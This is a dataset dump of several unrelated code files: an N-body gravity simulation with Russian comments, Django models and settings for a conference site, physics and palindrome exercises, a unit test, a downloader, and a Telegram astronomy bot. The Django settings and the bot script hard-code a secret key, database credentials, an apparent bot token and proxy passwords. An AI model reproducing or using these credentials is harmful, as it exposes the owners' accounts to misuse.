indent_k = 0.0\r\n\r\n# Параметры генерации эллипсоида в единицах (n * Distance / 2)\r\n a_inp = 1.0\r\n b_inp = 1.0\r\n c_inp = 1.0\r\n# Начальные угловые скорости эллипсоида\r\n w_x = 0.0\r\n w_y = 0.0\r\n w_z = 0.0000005\r\n\r\n# Средняя масса наблюдаемых объектов и их пекулярная скорость\r\n # m_avg = 1.98892 * pow(10, 41) # кг\r\n # v_avg = 0 #4 * pow(10, 5) / np.sqrt(3) # м/с\r\n m_avg = pow(10, 11) # масс Солнц\r\n v_avg = 0.0 # 1.3 * pow(10, -2) / np.sqrt(3) # кпк/(10^12 c)\r\n# m_avg = 1 #масс Млечного пути\r\n # v_avg = 0 #1.3 * pow(10, -2) / np.sqrt(3) # Мпк/(10^15 c)\r\n\r\n# Количество частиц\r\n N = 1000\r\n# Число шагов\r\n Steps = 1\r\n# Номера шагов, на которых требуется \"сфотографировать положение всех\r\n# материальных точек\r\n make_prelaunch_screenshot = False\r\n scr_step = []\r\n# Тип сгенерированной системы (обязательно заполнить!)\r\n system_generation_type = 'last'\r\n# Использовать несколько процессов для вычислений\r\n use_multiprocessing = False\r\n# Использовать данные, введенные вручную\r\n use_manual_input = False\r\n# Использовать телеметрию\r\n use_telemetry = True\r\n# Обратить время вспять\r\n inverse_time = False\r\n# ===========================================================================\r\n# ^ Параметры системы ^\r\n# v Область с исполняемым кодом v\r\n# ===========================================================================\r\n if use_manual_input:\r\n print('Введите название используемой конфигурации системы')\r\n system_generation_type = str(input())\r\n Distance = input_float_value(msg_d_0, '', '', msg_d_1, msg_d_2)\r\n n = input_int_value(msg_n_0, msg_n_1, msg_n_2)\r\n time_step = input_float_value(msg_t_0, '', '', msg_t_1, msg_t_2)\r\n Steps = input_int_value(msg_steps_0, msg_steps_1, msg_steps_2)\r\n eps_smooth = input_float_value(msg_eps_0, '', '', msg_eps_1, '')\r\n if (system_generation_type == 'random') or \\\r\n (system_generation_type == 'cube') or\\\r\n (system_generation_type == 'ellipsoid'):\r\n m_avg = input_float_value(msg_m_0, msg_m_00, '', msg_m_1, msg_m_2)\r\n m_avg *= m.pow(10, 11)\r\n v_avg = input_float_value(msg_v_0, msg_v_00, msg_v_000,\r\n msg_v_1, msg_v_2)\r\n if system_generation_type == 'random':\r\n N = input_int_value(msg_N_0, msg_N_1, msg_N_2)\r\n if system_generation_type == 'ellipsoid':\r\n N = input_int_value(msg_N_0, msg_N_1, msg_N_2)\r\n w_crit = 2 * c / (n * Distance)\r\n a_inp = input_float_less_1_value(msg_a_0, msg_abc_0,\r\n msg_abc_1, '')\r\n b_inp = input_float_less_1_value(msg_b_0, msg_abc_0,\r\n msg_abc_1, '')\r\n c_inp = input_float_less_1_value(msg_c_0, msg_abc_0,\r\n msg_abc_1, '')\r\n w_x = input_float_less_1_value(msg_w_0, msg_wx_0,\r\n msg_w_1, w_crit)\r\n w_y = input_float_less_1_value(msg_w_0, msg_wy_0,\r\n msg_w_1, w_crit)\r\n w_z = input_float_less_1_value(msg_w_0, msg_wz_0,\r\n msg_w_1, w_crit)\r\n print('Делать скриншоты системы?')\r\n print('y/n')\r\n input_variable = input()\r\n if (input_variable == 'y') or (input_variable == 'n'):\r\n if input_variable == 'y':\r\n make_prelaunch_screenshot = True\r\n enable_screenshots = True\r\n print('Наберите номера шагов, на которых нужно')\r\n print('сделать снимок системы')\r\n print('После того, как все нужные номера введены,')\r\n print('наберите \"end\" без кавычек, чтобы продолжить')\r\n while enable_screenshots:\r\n input_var = input()\r\n if input_var == 'end':\r\n enable_screenshots = False\r\n else:\r\n try:\r\n temp_var = int(input_var)\r\n scr_step.append(temp_var)\r\n except ValueError:\r\n print('Номер шага может быть только целым числом')\r\n else:\r\n make_prelaunch_screenshot = False\r\n scr_step = []\r\n else:\r\n print('Введено недопустимое значение')\r\n print('Создание скриншотов отменено')\r\n make_prelaunch_screenshot = False\r\n print('Использовать телеметрию?')\r\n print('y/n')\r\n input_variable = input()\r\n if (input_variable == 'y') or (input_variable == 'n'):\r\n use_telemetry = input_variable == 'y'\r\n else:\r\n print('Введено недопустимое значение')\r\n print('Телеметрия не используется')\r\n use_telemetry = False\r\n print('Использовать многоядерность?')\r\n print('y/n')\r\n input_variable = input()\r\n if (input_variable == 'y') or (input_variable == 'n'):\r\n use_multiprocessing = input_variable == 'y'\r\n else:\r\n print('Введено недопустимое значение')\r\n print('Многоядерность не используется')\r\n print('Изменить знак у временного интервала?')\r\n print('y/n')\r\n input_variable = input()\r\n if (input_variable == 'y') or (input_variable == 'n'):\r\n inverse_time = input_variable == 'y'\r\n else:\r\n print('Введено недопустимое значение')\r\n inverse_time = False\r\n if (d_e >= 0) and (d_m >= 0) and (v_m > 0) \\\r\n and (abs(1 - d_e - d_m - v_m) < 0.00000000001):\r\n m_avg = m_avg * (1 + (d_m / v_m))\r\n else:\r\n not_forbid_launch = False\r\n print('Недопустимое соотношение типов материи')\r\n if (time_step <= 0) or (Distance <= 0):\r\n not_forbid_launch = False\r\n print('Недопустимые параметры системы')\r\n if n > 0:\r\n n = int(m.pow(2, int(n)))\r\n else:\r\n not_forbid_launch = False\r\n print('Количество ячеек не может быть нулевым или отрицательным')\r\n if inverse_time:\r\n time_step *= -1\r\n try:\r\n try:\r\n try:\r\n if system_generation_type == 'cube':\r\n if use_manual_input:\r\n indent_i = input_float_value(msg_ind_0, msg_ind_i_0,\r\n '', msg_ind_1, msg_ind_2)\r\n indent_j = input_float_value(msg_ind_0, msg_ind_j_0,\r\n '', msg_ind_1, msg_ind_2)\r\n indent_k = input_float_value(msg_ind_0, msg_ind_k_0,\r\n '', msg_ind_1, msg_ind_2)\r\n i_test = input_int_value(msg_i_0, msg_axis_1,\r\n msg_axis_2)\r\n j_test = input_int_value(msg_j_0, msg_axis_1,\r\n msg_axis_2)\r\n k_test = input_int_value(msg_k_0, msg_axis_1,\r\n msg_axis_2)\r\n period = input_float_value(msg_per_0, msg_per_00, '',\r\n msg_per_1, msg_per_2)\r\n X = birth_test()\r\n np.savetxt('last config.txt', X)\r\n elif system_generation_type == 'random':\r\n X = birth_random(N)\r\n np.savetxt('last config.txt', X)\r\n elif system_generation_type == 'ellipsoid':\r\n if (a_inp == 0) or (b_inp == 0) or (c_inp == 0):\r\n not_forbid_launch = False\r\n print('Полуоси эллипсоида не могут быть нулевыми')\r\n else:\r\n X = birth_ellipsoid(N)\r\n np.savetxt('last config.txt', X)\r\n elif system_generation_type == 'last':\r\n X = np.loadtxt('last config.txt', dtype='float64')\r\n elif system_generation_type == 'debug':\r\n X = np.loadtxt('error config.txt', dtype='float64')\r\n elif system_generation_type == 'test':\r\n X = np.loadtxt('test config.txt', dtype='float64')\r\n elif system_generation_type == 'final':\r\n X = np.loadtxt('final config.txt', dtype='float64')\r\n else:\r\n not_forbid_launch = False\r\n print('Выбранная конфигурация не может быть загружена')\r\n except IOError:\r\n not_forbid_launch = False\r\n print('Отсутствует необходимый файл конфигурации')\r\n except TypeError:\r\n not_forbid_launch = False\r\n print('Число материальных точек всегда должно быть целым')\r\n except ValueError:\r\n not_forbid_launch = False\r\n print('Неприемлимое число материальных точек')\r\n if not_forbid_launch:\r\n if np.size(X, 1) == 12:\r\n migration = np.zeros([np.size(X, 0), 2])\r\n X = np.hstack((X, migration))\r\n np.savetxt('last config.txt', X)\r\n if workers >= 8:\r\n workers = 8\r\n elif workers >= 4:\r\n workers = 4\r\n elif workers >= 2:\r\n workers = 2\r\n else:\r\n use_multiprocessing = False\r\n try:\r\n if make_prelaunch_screenshot:\r\n screenshot(X, 'Шаг 0', marker_size)\r\n Energy = np.zeros([Steps, 6])\r\n start = time.time()\r\n for q in range(Steps):\r\n speed_limit(X)\r\n is_gravity_field_weak(X)\r\n if error:\r\n np.savetxt('error config.txt', X)\r\n screenshot(X, error_name, marker_size)\r\n print(error_name + ' at step ' + str(q))\r\n break\r\n X = tree_code_gravity(X)\r\n Energy[q] = [q,\r\n system_kinetic_energy(X),\r\n system_potential_energy(X),\r\n system_energy_Newton(X),\r\n max_dT(X),\r\n max_dU(X)]\r\n X[:, 12] = kinetic_energy_Newton(X)\r\n X[:, 13] = potential_energy_Newton(X)\r\n if q in scr_step:\r\n screenshot(X, 'Шаг ' + str(q), marker_size)\r\n computing_time = time.time() - start\r\n print(\"Время выполнения\", computing_time, \"с\")\r\n if use_telemetry:\r\n momentum_of_system(X)\r\n plot_max_dE_kinetic(Energy)\r\n plot_max_dE_potential(Energy)\r\n plot_avg(Energy)\r\n plot_system_enegry(Energy)\r\n plot_total_energy(Energy)\r\n plot_combined_energy(Energy)\r\n except KeyboardInterrupt:\r\n print('Работа программы прервана')\r\n momentum_of_system(X)\r\n plot_max_dE_kinetic(Energy)\r\n plot_max_dE_potential(Energy)\r\n plot_avg(Energy)\r\n plot_system_enegry(Energy)\r\n plot_total_energy(Energy)\r\n plot_combined_energy(Energy)\r\n print('Сохранить финальную конфигурацию системы?')\r\n print('y/n')\r\n input_variable = input()\r\n if input_variable == 'y':\r\n np.savetxt('final config.txt', X)\r\n elif input_variable == 'n':\r\n print('Конфигурация не будет сохранена')\r\n else:\r\n print('Введено недопустимое значение')\r\n# ===========================================================================\r\n# ^ Область с исполняемым кодом ^\r\n","sub_path":"N-body.py","file_name":"N-body.py","file_ext":"py","file_size_in_byte":44602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"98347049","text":"from django.conf import settings\nfrom django.db import models\nfrom django.urls import reverse\nfrom ckeditor.fields import RichTextField\nfrom solo.models import SingletonModel\nfrom uuslug import uuslug\n\n\nclass SiteMetaBase(models.Model):\n seo_title = models.CharField(max_length=200, verbose_name='SEO Заголовок')\n seo_description = models.TextField(max_length=300, verbose_name='SEO Описание')\n created = models.DateTimeField(auto_now_add=True, verbose_name='Дата создания')\n updated = models.DateTimeField(auto_now=True, verbose_name='Дата изменения')\n\n class Meta:\n abstract = True\n\n\nclass Page(SiteMetaBase):\n title = models.CharField(max_length=200, verbose_name='Заголовок')\n content = RichTextField(blank=True, null=True, verbose_name='Контент')\n owner = models.ForeignKey(settings.AUTH_USER_MODEL, blank=True, null=True, related_name='pages',\n on_delete=models.CASCADE, verbose_name='Владелец')\n last_editor = models.ForeignKey(settings.AUTH_USER_MODEL, blank=True, null=True, related_name='lastEditPages',\n on_delete=models.CASCADE, verbose_name='Последний редактор')\n slug = models.SlugField(max_length=200, blank=True, null=True, verbose_name='Короткая ссылка')\n is_front = models.BooleanField(default=False, verbose_name='Главная страница')\n\n def __str__(self):\n return self.title\n\n def get_absolute_url(self):\n if self.is_front:\n return reverse('home')\n else:\n return reverse('page', args=[str(self.slug)])\n\n class Meta:\n ordering = ['pk']\n verbose_name = \"Страница\"\n verbose_name_plural = \"Страницы\"\n\n\nclass Card(SiteMetaBase):\n title = models.CharField(max_length=200, verbose_name='Заголовок')\n text = RichTextField(blank=True, null=True, verbose_name='Текст')\n image = models.ImageField(upload_to='cards/', verbose_name='Картинка')\n pageId = models.ManyToManyField('Page', blank=True, related_name='cards', verbose_name='Страницы')\n slug = models.SlugField(max_length=200, blank=True, null=True, verbose_name='ЧПУ ссылка')\n\n def __str__(self):\n return self.title\n\n def get_absolute_url(self):\n from django.urls import reverse\n return reverse('party-detail', args=[str(self.slug)])\n\n def save(self, *args, **kwargs):\n if not self.slug:\n self.slug = uuslug(self.title, instance=self)\n super(Card, self).save(*args, **kwargs)\n\n class Meta:\n ordering = ['pk']\n verbose_name = 'Услуга'\n verbose_name_plural = 'Услуги'\n\n\nclass CardPhoto(models.Model):\n card = models.ForeignKey(Card, related_name='photos', on_delete=models.CASCADE)\n title = models.CharField(max_length=150, blank=True, null=True, verbose_name='Заголовок')\n file = models.ImageField(upload_to='cards/photo', verbose_name='Фото')\n\n def __str__(self):\n if self.title:\n return self.title\n else:\n return str(self.file.name)\n\n class Meta:\n verbose_name = 'Фото'\n verbose_name_plural = 'Фото'\n\n\nclass SiteConfiguration(SingletonModel):\n site_name = models.CharField(max_length=255, default='Название сайта', verbose_name='Название сайта')\n site_descritpion = models.TextField(max_length=255, default='Описание сайта', verbose_name='Описание сайта')\n address = models.CharField(max_length=255, default='Адрес', verbose_name='Адрес')\n phones = models.CharField(max_length=255, default='+7 999 999-99-99', help_text='Телефоны указывать через запятую',\n verbose_name='Телефоны')\n maintenance_mode = models.BooleanField(default=False, verbose_name='Режим обслуживания')\n\n def __str__(self):\n return \"Настройки сайта\"\n\n def phone_list(self):\n return self.phones.split(', ')\n\n class Meta:\n verbose_name = \"Настройки сайта\"\n verbose_name_plural = \"Настройки сайта\"\n\n\nclass SocialLink(models.Model):\n SOCIAL_CHOICES = (\n ('vk', 'Вконтакте'),\n ('odnoklassniki', 'Одноклассники'),\n ('instagram', 'Instagram'),\n ('youtube', 'YouTube'),\n ('facebook', 'Facebook'),\n )\n social = models.CharField(max_length=13, blank=True, null=True, choices=SOCIAL_CHOICES,\n verbose_name='Социальная сеть')\n link = models.CharField(max_length=255, blank=True, null=True, verbose_name='Ссылка на соц. сеть')\n site = models.ForeignKey(SiteConfiguration, related_name='socials', on_delete=models.CASCADE)\n\n def __str__(self):\n return self.social\n\n class Meta:\n verbose_name = \"Соц. сеть\"\n verbose_name_plural = \"Соц. сети\"\n\n\nclass Message(models.Model):\n name = models.CharField(max_length=255, verbose_name='Имя')\n phone = models.CharField(max_length=255, verbose_name='Телефон')\n comment = models.TextField(max_length=255, verbose_name='Телефон')\n created = models.DateTimeField(auto_now_add=True, verbose_name='Дата создания')\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = 'Сообщение'\n verbose_name_plural = 'Сообщения'","sub_path":"alex_site/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"156964660","text":"\"\"\"\nDjango settings for pyconng project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.7/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.7/ref/settings/\n\"\"\"\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\nimport environ as environmental\n\nenv = environmental.Env()\n\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\nROOT_DIR = environmental.Path(__file__) - 2 # (crosscheck/config/settings.py - 2 = crosscheck/)\nAPPS_DIR = ROOT_DIR.path('pyconng')\n\nempty = object()\ndef environ(key, default=empty):\n try:\n return os.environ[key]\n except KeyError:\n if default is empty:\n raise RuntimeError('environment variable \"%s\" does not exist' % (key))\n return default\n\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.7/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = 'qxl(3u+8%bb079sy%=^wxu5@)h68+hw#s_e6-lv3#n1^z^e4nm'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = False\n\nALLOWED_HOSTS = [\n os.environ.get(\"GONDOR_INSTANCE_DOMAIN\"),\n \"2016.djangocon.us\",\n \"www.djangocon.us\",\n \"localhost',\"\n]\n\n\n# Application definition\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n \"django.contrib.sites\",\n 'django.contrib.staticfiles',\n\n # external\n \"account\",\n \"crispy_forms\",\n \"easy_thumbnails\",\n # \"taggit\",\n \"reversion\",\n # \"metron\",\n \"sitetree\",\n \"waffle\",\n \"markitup\",\n\n # pinax\n \"pinax.boxes\",\n # \"pinax.eventlog\",\n \"pinax.pages\",\n # \"pinax.blog\",\n\n # symposion\n \"symposion\",\n \"symposion.conference\",\n \"symposion.speakers\",\n \"symposion.proposals\",\n \"symposion.reviews\",\n \"symposion.schedule\",\n \"symposion.sponsorship\",\n \"symposion.teams\",\n\n # project\n \"pyconng.proposals\",\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'whitenoise.middleware.WhiteNoiseMiddleware',\n)\n\nROOT_URLCONF = 'config.urls'\n\nWSGI_APPLICATION = 'config.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/1.7/ref/settings/#databases\nDATABASES = {\n # Raises ImproperlyConfigured exception if DATABASE_URL not in os.environ\n 'default': env.db('DATABASE_URL', default='postgres://postgres:postgres@127.0.0.1/pyconng'),\n}\n# DATABASES = {\n# 'default': {\n# 'ENGINE': 'django.db.backends.postgresql_psycopg2',\n# 'NAME': environ(\"DB_NAME\"),\n# 'USER': environ(\"DB_USER\"),\n# 'PASSWORD': environ(\"DB_PASSWORD\"),\n# 'HOST': environ(\"DB_HOST\"),\n# 'PORT': environ(\"DB_PORT\"),\n# }\n# }\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.7/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.7/howto/static-files/\n\n# Absolute filesystem path to the directory that will hold user-uploaded files.\n# Example: \"/home/media/media.lawrence.com/media/\"\nMEDIA_ROOT = str(ROOT_DIR('media'))\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash.\n# Examples: \"http://media.lawrence.com/media/\", \"http://example.com/media/\"\nMEDIA_URL = \"/media/\"\n\n# Absolute path to the directory static files should be collected to.\n# Don\"t put anything in this directory yourself; store your static files\n# in apps\" \"static/\" subdirectories and in STATICFILES_DIRS.\n# Example: \"/home/media/media.lawrence.com/static/\"\nSTATIC_ROOT = str(ROOT_DIR('staticfiles'))\n\n\nSTATIC_URL = '/static/'\n\nSTATICFILES_DIRS = (\n str(APPS_DIR.path('static')),\n)\n\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n)\n\nTEMPLATES = [\n {\n # See: https://docs.djangoproject.com/en/dev/ref/settings/#std:setting-TEMPLATES-BACKEND\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n # See: https://docs.djangoproject.com/en/dev/ref/settings/#template-dirs\n 'DIRS': [\n str(APPS_DIR.path('templates')),\n ],\n 'OPTIONS': {\n # See: https://docs.djangoproject.com/en/dev/ref/settings/#template-debug\n 'debug': DEBUG,\n # See: https://docs.djangoproject.com/en/dev/ref/settings/#template-loaders\n # https://docs.djangoproject.com/en/dev/ref/templates/api/#loader-types\n 'loaders': [\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n ],\n # See: https://docs.djangoproject.com/en/dev/ref/settings/#template-context-processors\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.template.context_processors.i18n',\n 'django.template.context_processors.media',\n 'django.template.context_processors.static',\n 'django.template.context_processors.tz',\n 'django.contrib.messages.context_processors.messages',\n # Your stuff: custom template context processors go here,\n \"account.context_processors.account\",\n \"symposion.reviews.context_processors.reviews\",\n 'config.context_processors.consts',\n ],\n },\n },\n]\n\n\nEMAIL_BACKEND = \"django.core.mail.backends.console.EmailBackend\"\n\nACCOUNT_EMAIL_AUTHENTICATION = False\nACCOUNT_EMAIL_CONFIRMATION_EXPIRE_DAYS = 2\nACCOUNT_EMAIL_CONFIRMATION_REQUIRED = False\nACCOUNT_EMAIL_VERIFICATION = False\nACCOUNT_LOGIN_URL = LOGIN_URL = '/account/login/'\nACCOUNT_LOGIN_REDIRECT_URL = \"dashboard\"\nACCOUNT_LOGOUT_REDIRECT_URL = \"home\"\nACCOUNT_OPEN_SIGNUP = True\nACCOUNT_SIGNUP_REDIRECT_URL = \"dashboard\"\nACCOUNT_UNIQUE_EMAIL = EMAIL_CONFIRMATION_UNIQUE_EMAIL = False\nACCOUNT_USE_AUTH_AUTHENTICATE = True\nACCOUNT_USER_DISPLAY = lambda user: user.email\n\nAUTHENTICATION_BACKENDS = [\n \"symposion.teams.backends.TeamPermissionsBackend\",\n \"account.auth_backends.UsernameAuthenticationBackend\",\n]\n\n# Symposion settings\n\nCONFERENCE_ID = 1\nPROPOSAL_FORMS = {\n \"tutorial\": \"pyconng.proposals.forms.TutorialProposalForm\",\n \"talk-25-min\": \"pyconng.proposals.forms.TalkProposalForm\",\n \"talk-45-min\": \"pyconng.proposals.forms.TalkProposalForm\",\n \"open-space\": \"pyconng.proposals.forms.OpenSpaceProposalForm\",\n}\nPINAX_PAGES_HOOKSET = \"config.hooks.PinaxPagesHookSet\"\nPINAX_BOXES_HOOKSET = \"config.hooks.PinaxBoxesHookSet\"\n\n# adjust for number of reviews currenly about 1/5 (default: 3)\nSYMPOSION_VOTE_THRESHOLD = 6\n\nMARKITUP_SET = \"markitup/sets/markdown\"\nMARKITUP_FILTER = [\"symposion.markdown_parser.parse\", {}]\nMARKITUP_SKIN = \"markitup/skins/simple\"\n\nTHEME_CONTACT_EMAIL = 'hello@djangocon.us'\n\nADMINS = [\n ('DjangoCon US Errors', 'errors@defna.org'),\n]\n\nMANAGERS = [\n ('DjangoCon US', 'hello@djangocon.us'),\n]\n\nSERVER_EMAIL = ''\nDEFAULT_FROM_EMAIL = \"DjangoCon US 2016 \"\n\n# See: http://django-crispy-forms.readthedocs.io/en/latest/install.html#template-packs\nCRISPY_TEMPLATE_PACK = 'bootstrap3'\n\n# MIGRATION_MODULES = {\n# 'sites': 'pyconng.contrib.sites.migrations'\n# }\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#site-id\nSITE_ID = 1\n\nFIXTURE_DIRS = [\n str(ROOT_DIR('fixtures')),\n]\n","sub_path":"config/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":8080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"100679896","text":"from vpython import*\r\n\r\nN = int(input('How many balls to be lifted?[1-4]'))\r\nNN, size = 5, 1\r\nm = [4,4,4,4,4]\r\nangle = pi/6\r\nk, L = 15000, 16\r\ng = 9.8\r\nballs_reference, balls, balls_stick = [0]*5, [0]*5, [0]*5\r\nscene = canvas(width=500, height=500, center=vec(0, 0, 0), background=vec(0.5, 0.5, 0))\r\nceiling = box(length=18, height=0.4, width=1, pos=vec(0,8,0), color=color.blue)\r\nfor i in range(NN):\r\n balls_reference[i] = sphere(pos=vec(-4+2*i,8,0), radius=0.4)\r\n balls_stick[i] = cylinder(radius=0.2, pos=vec(-4+2*i,8,0), axis=vec(0,-L,0))\r\n balls[i] = sphere(pos=vec(-4+2*i,-8,0), radius=size, color=color.black)\r\n balls[i].v = vec(0,0,0)\r\nfor i in range(N):\r\n balls_stick[i].axis = vec(-sin(angle),-cos(angle),0)*L\r\n balls[i].pos = balls_stick[i].pos + balls_stick[i].axis\r\n\r\ndef af_col_v(m1, m2, v1, v2, x1, x2): # function after collision velocity\r\n v1_prime = v1 + 2*(m2/(m1+m2))*(x1-x2) * dot (v2-v1, x1-x2) / dot (x1-x2, x1-x2)\r\n v2_prime = v2 + 2*(m1/(m1+m2))*(x2-x1) * dot (v1-v2, x2-x1) / dot (x2-x1, x2-x1)\r\n return (v1_prime, v2_prime)\r\n\r\ndt = 0.0005\r\ntime = 0\r\nwhile True:\r\n rate = (2000)\r\n for i in range(NN):\r\n balls_stick[i].axis = balls[i].pos - balls_stick[i].pos\r\n spring_force = -k * (mag(balls_stick[i].axis) - L) * balls_stick[i].axis.norm()\r\n balls[i].a = vector(0,-g,0) + spring_force / m[i]\r\n balls[i].v += balls[i].a*dt\r\n balls[i].pos += balls[i].v*dt\r\n for i in range(NN-1):\r\n if (mag(balls[i].pos-balls[i+1].pos)) <= 2*size and dot(balls[i].pos-balls[i+1].pos, balls[i].v-balls[i+1].v) <= 0:\r\n balls[i].v, balls[i+1].v = af_col_v (m[i], m[i+1], balls[i].v, balls[i+1].v, balls[i].pos, balls[i+1].pos)","sub_path":"physics_hw/b07901020(4)/must.py","file_name":"must.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"97465029","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Test de unidad para sincronizador.py\"\"\"\n# Este modulo esta muy acoplado con registrar y no esta bueno el tema de los\n# tests hasta que no se limpie un poco\n\n# Modulos externos\nimport sys\nimport unittest\nimport sqlite3\n\n# Modulos propios\nsys.path.append('../clases')\n\nfrom sincronizador import Sincronizador, config\n\n\nclass verificadorDeSincronizacion(unittest.TestCase):\n global sync\n sync = Sincronizador()\n\n def test1SincronizacionDeDominios(self):\n \"\"\"Verificacion de sincronizacion de dominios publicamente \"\"\"\\\n \"\"\"denegados/permitidos con el server\"\"\"\n\n # Me conecto a la base y borro los dominios que est\n conexion_db = sqlite3.connect(config.PATH_DB)\n cursor = conexion_db.cursor()\n cursor.execute('delete from dominios_publicamente_permitidos')\n cursor.execute('delete from dominios_publicamente_denegados')\n conexion_db.commit()\n\n # Pido la sincronizacion\n sync.sincronizarDominiosDenegados()\n sync.sincronizarDominiosPermitidos()\n cantidadDominiosPermitidos = cursor.execute(\n 'select count(*) from dominios_publicamente_permitidos'\n ).fetchone()[0]\n cantidadDominiosDenegados = cursor.execute(\n 'select count(*) from dominios_publicamente_denegados'\n ).fetchone()[0]\n\n self.assertTrue(\n cantidadDominiosPermitidos > 0 and\n cantidadDominiosDenegados > 0\n )\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"cliente/branches/cliente-gae/tests/sincronizadorTest.py","file_name":"sincronizadorTest.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"604296274","text":"\"\"\"\nДомашнее задание №1\n\nИспользование библиотек: ephem\n\n* Установите модуль ephem\n* Добавьте в бота команду /planet, которая будет принимать на вход\n название планеты на английском, например /planet Mars\n* В функции-обработчике команды из update.message.text получите\n название планеты (подсказка: используйте .split())\n* При помощи условного оператора if и ephem.constellation научите\n бота отвечать, в каком созвездии сегодня находится планета.\n\n\"\"\"\nimport logging\nimport ephem\nfrom datetime import datetime\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters\n\ncurrent_date = (datetime.date(datetime.now()))\n\nlogging.basicConfig(format='%(name)s - %(levelname)s - %(message)s',\n level=logging.INFO,\n filename='bot.log')\n\n\nPROXY = {\n 'proxy_url': 'socks5://t1.learn.python.ru:1080',\n 'urllib3_proxy_kwargs': {\n 'username': 'learn',\n 'password': 'python'\n }\n}\n\n\ndef greet_user(update, context):\n text = 'Вызван /start'\n update.message.reply_text('Привет! Напиши название планеты в формате: /planet Mars')\n\n\ndef talk_to_me(update, context):\n try:\n user_text = update.message.text.split()\n planet = getattr(ephem, user_text[1])()\n planet.compute(ephem.Date(current_date))\n const = ephem.constellation(planet)\n print(const)\n update.message.reply_text(const)\n except AttributeError:\n print(update.message.reply_text('Такую планету еще не открыли')) \n\n\ndef main():\n mybot = Updater(\"1940519188:AAFtdXOZrb8j8PydiGJphA6UdWAfE05TBr0\", request_kwargs=PROXY, use_context=True)\n\n dp = mybot.dispatcher\n dp.add_handler(CommandHandler(\"start\", greet_user))\n dp.add_handler(MessageHandler(Filters.text, talk_to_me))\n\n mybot.start_polling()\n mybot.idle()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"8_ephem_bot.py","file_name":"8_ephem_bot.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"87453062","text":"import urllib.request\nimport printlog as pr\n\nclass Downloader:\n downloaded = 0\n downloadFinished = False\n downloadStarted = False\n def downloadfile(self,path, filename, url):\n pr.pl(\"Downloading file \"+ str(url))\n file = path + \"/\" + filename\n self.downloadStarted = True\n self.downloadFinished = False\n urllib.request.urlretrieve(url,file,self.show_prorgress)\n self.downloadFinished = True\n pr.pl(\"Completed download\")\n self.downloaded = 0\n\n def show_prorgress(self, count,block_size,total_size):\n self.downloaded += block_size\n print(str(round(self.downloaded / total_size * 100)) + \"%\")\n\n","sub_path":"src/trainerdownload.py","file_name":"trainerdownload.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"234539550","text":"\"\"\"\nAsk the user for a string and print out whether \nthis string is a palindrome or not. (A palindrome is a string that reads the same forwards and backwards.)\n\"\"\"\n\n\ndef main():\n print('Please enter a string')\n string = raw_input()\n string = string.strip().lower()\n return is_palindrome(string)\n\n\ndef is_palindrome(string):\n rev_str = string[::-1]\n if string == rev_str:\n print('given string is a palindrome')\n else:\n print('not palindrome')\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"ex6.py","file_name":"ex6.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"463318626","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 17 21:10:15 2018\r\n\r\n@author: eduarado\r\n\"\"\"\r\n\r\nimport os\r\nimport ntpath\r\n\r\n# Caminho para a pasta com subpastas/imagens\r\npath = 